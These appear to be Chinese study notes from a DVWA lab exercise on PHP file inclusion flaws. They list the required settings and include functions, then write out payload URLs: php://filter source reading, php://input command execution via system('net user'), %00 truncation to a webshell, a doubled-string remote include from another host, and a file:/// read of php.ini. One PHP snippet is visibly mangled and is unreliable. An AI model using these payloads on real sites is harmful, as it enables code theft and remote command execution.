5.文件包含漏洞
1、包含漏洞分类
本地包含,
远程包含:前提条件是需要 allow_url_include=on 和magic_quotes_gpc=off
2、远程包含要成功需要具备那2个条件
allow_url_include=on 和magic_quotes_gpc=off
3、包含漏洞常用4个涵数分别是什么
include() 、include_once()、require()、require_once()
5、完成包含漏洞命令执行、文件读取实验、%00截断、str_replace、fnmatch涵数绕过实验
1.php包含读文件:
在命令行输入
http://192.168.60.86:200/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=1.php
[图片上传中...(image.png-8a5b20-1596550675461-0)]
访问之后得到被base64位加密之后的内容:
2.php包含写文本:(php协议,file协议)
构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据为:<?php system('net user');?>
注意:只有在allow _url_include为on的时候才可以使用,如果想查看回显结果那必须在C:\php\php-5.2.14-Win32下找到php-apache2handler.ini打开,查找display_funtions=proc-open,oppen,exec,system…….删掉system重启apache。
image.png
- 包含截断绕过
<?php
if(isset(_GET['page'] .".php" ;
}else{
include 'home.php';
}
?>
代码只允许php文件执行,此时上传jpg文件是不被允许的,可以使用%00,
page改成webshell.jpg%00 (webshell.jpg%00.jpg经过url转码后会变为webshell.jpg\000.php),最后保存下来的文件就是webshell.jpg
这种方法只适合于magic_quotes_gpc=off的时候, php版本小于5.3.4,可通过%00截断绕过,不过现在已经很难见到了。
image.png
4.str_replace函数绕过
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
5.fnmatch函数绕过(file协议)
if(!fnmatch("file",file!="include.php"),当文件既不是"include.php"也不是"file"(文件名file开头)时才抛出错误。反之意思,如果文件名符合其中一个条件既可以。page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)。